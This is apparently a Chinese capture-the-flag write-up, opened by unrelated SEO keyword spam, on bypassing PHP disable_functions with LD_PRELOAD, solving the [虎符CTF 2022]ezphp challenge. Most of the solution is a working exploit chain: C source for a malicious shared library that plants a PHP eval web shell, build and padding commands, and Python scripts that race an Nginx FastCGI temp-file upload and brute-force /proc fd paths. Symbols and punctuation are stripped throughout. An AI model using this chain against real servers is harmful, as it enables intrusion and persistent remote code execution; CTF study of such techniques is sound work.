东莞社保官方网站,青岛做网站那家好,dedecms织梦搬家公司网站模板,新型网站设计文章目录 原理LD_PRELOAD介绍如何上传.so文件 例题 [虎符CTF 2022]ezphp 原理
LD_PRELOAD介绍 LD_PRELOAD是Linux系统的一个环境变量#xff0c;它可以影响程序的运行时的链接#xff08;Runtime linker#xff09;#xff0c;它允许你定义在程序运行前优先加载的动态链接… 文章目录 原理LD_PRELOAD介绍如何上传.so文件 例题 [虎符CTF 2022]ezphp 原理
LD_PRELOAD介绍 LD_PRELOAD是Linux系统的一个环境变量它可以影响程序的运行时的链接Runtime linker它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量我们可以在主程序和其动态链接库的中间加载别的动态链接库甚至覆盖正常的函数库。一方面我们可以以此功能来使用自己的或是更好的函数无需别人的源码而另一方面我们也可以以向别人的程序注入程序从而达到特定的目的。 什么是链接
程序的链接主要有以下三种
静态链接在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序之后不再拆开。
装入时动态链接源程序编译后所得到的一组目标模块在装入内存时边装入边链接。
运行时动态链接原程序编译后得到的目标模块在程序执行过程中需要用到时才对它进行链接。对于动态链接来说需要一个动态链接库其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的可执行程序无需重新编译方便程序的发布/维护/更新。但是由于程序是在运行时动态加载这就存在一个问题假如程序动态加载的函数是恶意的就有可能导致disable_function被绕过。 使用LD_PRELOAD绕过的条件
能够上传自己的.so文件
能够控制环境变量的值设置LD_PRELOAD变量比如putenv函数
存在可以控制PHP启动外部程序的函数并能执行因为新进程启动将加载LD_PRELOAD中的.so文件比如mail()、imap_mail()、mb_send_mail()和error_log()等当我们能够设置环境变量比如putenv函数未被禁止我们就可以把LD_PRELOAD变量设置为恶意.so文件的路径只要启动新的进程就会在新进程运行前优先加载该恶意.so文件由此恶意代码就被注入到程序中。
如何上传.so文件
利用Nginx 在后端 Fastcgi 响应过大产生临时文件和竞争包含去解决 详细可参考[HXPCTF 2021]includer’s revenge
简单的RCE就是可以蚁剑连接后在/tmp下上传难的话就像下面的例题
例题 [虎符CTF 2022]ezphp
源码如下 ?php (empty($_GET[env])) ? highlight_file(__FILE__) : putenv($_GET[env]) system(echo hfctf2022);? 就是简单的三元运算符存在参数env
首先恶意.so文件的构造 创建1.c文件写入一句话木马写到shell.php
#include stdlib.h
#include stdio.h
#include string.h__attribute__ ((__constructor__)) void angel (void){unsetenv(LD_PRELOAD);system(echo \?php eval(\\$_POST[cmd]);?\ /var/www/html/shell.php);
}注\\是为了防转义(\\\待定)
然后在Linux系统下用自带的gcc进行编译
gcc -shared -fPIC 1.c -o 1.so增大so文件的大小在so文件尾部加入脏字符
vardd if/dev/zero bs1c count10000 | tr \0 c再执行
echo $var 1.so可以看到文件是变大了 然后上脚本
脚本一向网站发包
from threading import Thread
import requests
import socket
import timeport 28552
host node2.anna.nssctf.cndef do_so():data open(1.so, rb).read()packet fPOST /index.php HTTP/1.1\r\nHOST:{host}:{port}\r\nContent-Length:{len(data) 11}\r\n\r\npacket packet.encode()packet datas socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.sendall(packet)time.sleep(10)s.close()if __name__ __main__:do_so()脚本二爆破一下pid
import requests
from threading import Threadport 28552
host node2.anna.nssctf.cndef ldload(pid, fd):sopath f/proc/{pid}/fd/{fd}print(sopath)r requests.get(fhttp://{host}:{port}/index.php, params{env:fLD_PRELOAD{sopath}})return rif __name__ __main__:# ldload(20, 20)for pid in range(12, 40):for fd in range(1, 40):t Thread(targetldload, args(pid, fd))t.start()在Linux同时运行脚本当然windows也行
python3 1.py python3 2.py通过脚本一直往服务器传写入so文件 传入成功后在/shell.php直接命令执行